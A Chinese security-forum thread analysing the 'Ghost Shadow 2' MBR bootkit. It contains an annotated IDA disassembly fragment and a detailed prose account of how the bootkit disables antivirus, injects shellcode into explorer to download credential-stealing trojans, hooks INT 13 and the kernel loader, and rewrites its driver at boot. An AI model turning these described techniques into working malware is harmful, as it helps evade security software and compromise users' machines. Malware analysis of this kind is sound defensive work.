.text:0040AB99 53                push    ebx                   ; _DWORD
.text:0040AB9A 53                push    ebx                   ; _DWORD
.text:0040AB9B 68 60 81 40 00    push    offset sub_408160   ; 下载特定文件,并改写
.text:0040ABA0 53                push    ebx                   ; _DWORD
.text:0040ABA1 53                push    ebx                   ; _DWORD
.text:0040ABA2 FF 15 D0 C1 40 00 call    addrCreateThread
.text:0040ABA8 50                push    eax                   ; _DWORD
.text:0040ABA9 FF 15 54 C1 40 00 call    addrCloseHandle
.text:0040ABAF 53                push    ebx                   ; _DWORD
.text:0040ABB0 53                push    ebx                   ; _DWORD
.text:0040ABB1 53                push    ebx                   ; _DWORD
.text:0040ABB2 68 E0 8F 40 00    push    offset sub_408FE0   ; 干一些 找ini下载信息找到后就完成下载信息,创建进程
.text:0040ABB2                                                 ; 由于 自己的虚拟机下不知道怎么了
.text:0040ABB2                                                 ; 文件找不到。。所以只是看了静态代码,写下的功能
.text:0040ABB7 53                push    ebx                   ; _DWORD
.text:0040ABB8 53                push    ebx                   ; _DWORD
.text:0040ABB9 FF 15 D0 C1 40 00 call    addrCreateThread
.text:0040ABBF 50                push    eax                   ; _DWORD
.text:0040ABC0 FF 15 54 C1 40 00 call    addrCloseHandle
.text:0040ABC6 53                push    ebx                   ; _DWORD
.text:0040ABC7 53                push    ebx                   ; _DWORD
.text:0040ABC8 53                push    ebx                   ; _DWORD
.text:0040ABC9 68 C0 94 40 00    push    offset sub_4094C0   ; 获取网站的认证id 和pwd 并执行IE进程
.text:0040ABC9                                                 ; ,调试机上文件 出现问题,所以之描述功能
.text:0040ABC9                                                 ;
.text:0040ABCE 53                push    ebx                   ; _DWORD
.text:0040ABCF 53                push    ebx                   ; _DWORD
.text:0040ABD0 FF 15 D0 C1 40 00 call    addrCreateThread
.text:0040ABD6 50                push    eax                   ; _DWORD
.text:0040ABD7 FF 15 54 C1 40 00 call    addrCloseHandle
.text:0040ABDD 53                push    ebx                   ; _DWORD
.text:0040ABDE 53                push    ebx                   ; _DWORD
.text:0040ABDF 53                push    ebx                   ; _DWORD
.text:0040ABE0 68 B0 A1 40 00    push    offset sub_40A1B0   ; 扫描各个目录去除360tray进程
.text:0040ABE5 53                push    ebx                   ; _DWORD
.text:0040ABE6 53                push    ebx                   ; _DWORD
.text:0040ABE7 FF 15 D0 C1 40 00 call    addrCreateThread
.text:0040ABED 50                push    eax                   ; _DWORD
.text:0040ABEE FF 15 54 C1 40 00 call    addrCloseHandle
.text:0040ABF4 53                push    ebx                   ; _DWORD
.text:0040ABF5 53                push    ebx                   ; _DWORD
.text:0040ABF6 53                push    ebx                   ; _DWORD
.text:0040ABF7 68 F0 A7 40 00    push    offset sub_40A7F0   ; 继续干360
.text:0040ABFC 53                push    ebx                   ; _DWORD
.text:0040ABFD 53                push    ebx                   ; _DWORD
.text:0040ABFE FF 15 D0 C1 40 00 call    addrCreateThread
.text:0040AC04 50                push    eax                   ; _DWORD
.text:0040AC05 FF 15 54 C1 40 00 call    addrCloseHandle





这就是它主要循环执行的线程部分(详细部分看idb)
分工还是很明确的。
就重点和简单点看了一下,整不下去了(有部分文件需要中毒后分析代码才能得到,我菜。。只有这么个能力),如果继续分析还可以看他释放以后在释放的文件执行的功能。。。。。很多


在调试的时候 对于多线程 我们可以看到 (只表明此处线程的提示)
在讲threadproc 分别断点后,我们直接跑起来之前我们看看图,他不会立即跑,他会创建后被挂起
http://bbs.pediy.com/attachment.php?attachmentid=55875&d=1301925011

程序里 利用sleep 或花指令 ,使得 线程切换频繁。。。


下面这段是wowocock大牛的分析
鬼影2技术 分析

新的MBR FIPS 木马,中了后所有安全软件均打不开,表现为双击无反应。检查系统发现EXPLORER在疯狂下载木马,同时发现一个可疑驱动fips.sys驱动挂了个 imageload callback.检查发现该驱动有问题,正常的驱动应该在 30几k,而这个 驱动只有8K左右,在IDA看了下,一下就看到问题了。

1,在驱动里挂了个 image load callback,在每个模块加载的时候验证安全数据区,判断是否有特殊签名字符串,是则PATCH 模块入口点直接返回失败。其禁止的模块包括RIN0,RING3的,包括以下公司:

360,可牛,金山,江民,瑞星,贝壳,ESET,卡巴斯基,赛门铁克,BITDEFENDER,趋势,

AVG,12个公司的所有发布出来的带签名的 应用程序和驱动程序,全部禁止。

2, 创建一个系统内核线程,不断枚举系统中的进程,找到explorer后,切入进去分配内存,将内部的SHELL CODE 拷贝到EXPLORER 进程空间,然后通过APC,执行SHELLCODE.在EXPLORER里的 SHELL CODE先通过PEB,获得所需的DLL,地址,然后动态获得所需函数地址,不断的 通过URLDownloadToFile不断从恶意网址上下载各种盗号木马,替换系统文件,导致系统极慢。

本以为把这个驱动干掉就可以结果,发现重新启动,该恶意又驱动又复活。下面我们就来解开他复活的神秘面纱。

从MBR区域获得的代码看来,该MBR 木马还是属于第一代的MBR BOOTKIT,只支持WINXP,不支持VISTA,WIN7(实际上支持后者的 BOOTKIT代码已经可以被找到,甚至有支持WIN7 X64的BOOTKIT)

MBR启动的时候减少高端内存32k,供木马驻留使用。然后将自己移到高端,然后进行解码,大概受一代没加密的影响,因为没加密的话,很容易在MBR区域里找到PE文件,从而很容易被查杀,所以2代进行了加密处理,运行时候动态解密后,同时在解密后的内存,就可以看到了那鬼影般的FISP.SYS了。然后挂接INT 13,BIOS读写中断,然后读取在4扇区的备份MBR到0:0X7C00,然后跳到原始MBR执行。(所以垃圾点的恢复方法是直接把4扇区的 写回MBR即可。)

   每当系统通过INT 13读写硬盘的时候,就会经过木马的中断挂钩,如果是写MBR的话,如果是普通写的话,则将对MBR的写转为对4扇区备份MBR的写,如果是扩展写的话,则直接避开写 MBR,如果是读的话,如果是对MBR的读,则转为对4扇区备份MBR的读取。然后判断 HOOKNTLDR的标志位是否设置了,如果设置了则直接调用原始INT 13中断,否则的话,先调用原始INT13,然后判断返回内存中的数据是否符合,不是则返回,是的话,则写入HOOK 代码,在0x9700:0x200中写入0x97204

然后将 HOOK代码写为CALL DWORD PTR则在HOOK代码被调用的时候,会将指令转移到0x97204对应的 木马代码中。然后设置HOOKNTLDR标志位为1,然后返回,等待着 NTLDR加载的时候调用木马的 HOOK CODE。



当NTLDR 在加载NTOS后,会调用到HOOK CODE ,木马接管后,会先扫描NTLDR的特征数据,之后可以通过他获得 NTOSKRNL的基地址,然后将自己的部分代码拷贝到NTOSKRNL的基地址+0x40的PE头空间处,然后找到函数ExVerifySuite,对其进行 HOOK,HOOK的代码则位于被拷贝的NTOSKRNL的基地址+0x40的PE头空间处,之后返回,等待HOOK代码被调用。

而 NTOSKRNL的内核初始化的时候,会调用Ioinitsystem,后者又会调用PsLocateSystemDll,后者会调用ExVerifySuite (EmbeddedNT),这时候,木马HOOK代码会获得调用,先检查CPU是否支持PAE模式,是的话则每个页表占用8字节,否则占用4字节,然后修改页目录表,将木马所在的物理地址0x97000映射到线性地址空间0开始的64k,页属性为存在的可写系统属性。刷新CACHE后,恢复ExVerifySuite函数钩子,然后调用线性地址0X2E4处的被映射的 木马代码(正常情况下访问这个地址会导致蓝屏,但木马映射了内存后就可以直接访问了。)

下面就比较简单了,首先获得NTOSKRNL的基地址,然后通过覆盖方式,将MBR区域里的 FIPS.sys驱动通过覆盖方式写入到 \systemroot\system32\drivers\fips.sys下,没有则创建,有则覆盖,所以不管原来的 FIPS是否存在都不重要,同时这个时候的启动时机很早,几乎没有安全软件可以拦截。所以FIPS的驱动写入几乎是不可阻挡的。写完后就结束所有操作就返回了。

也许有人问,写入的驱动什么时候被执行呢?其实在 XP下驱动的注册表里是存在这项的,既然文件已经被替换了,那自可以让系统替我们加载。一切都那么顺理成章。

只要驱动起来了,那么所有杀毒软件自然也就都完了,基本也就天下无敌了。

q639656 发表于 2011-4-6 23:05

帖了这么多只为赚些CB 各位大牛觉得还行给些CB吧O(∩_∩)O哈哈~{:1_936:}

家园春正浓 发表于 2011-4-7 00:17

分析的很详细      呵呵呵    认真的看完了    谢楼主

dannexr 发表于 2011-4-7 00:28

弄得不错啊,辛苦了!

hu007 发表于 2011-4-7 00:34

楼主高人呀,学习了

sihuo527 发表于 2011-4-7 02:35

那个附件啊,下载了啊,没有法用的吧,呵,晕了啊,呵!!!

wungleon 发表于 2011-4-7 09:38

不是很懂   谢谢分享

horseprince 发表于 2011-4-10 14:11

学习下..

风生·水起 发表于 2011-4-13 21:56

图片怎么都看不到了

林雷 发表于 2011-4-14 09:00

分析的很详细 不是很懂   谢谢分享
页: [1] 2 3 4
查看完整版本: 鬼影2病毒分析!~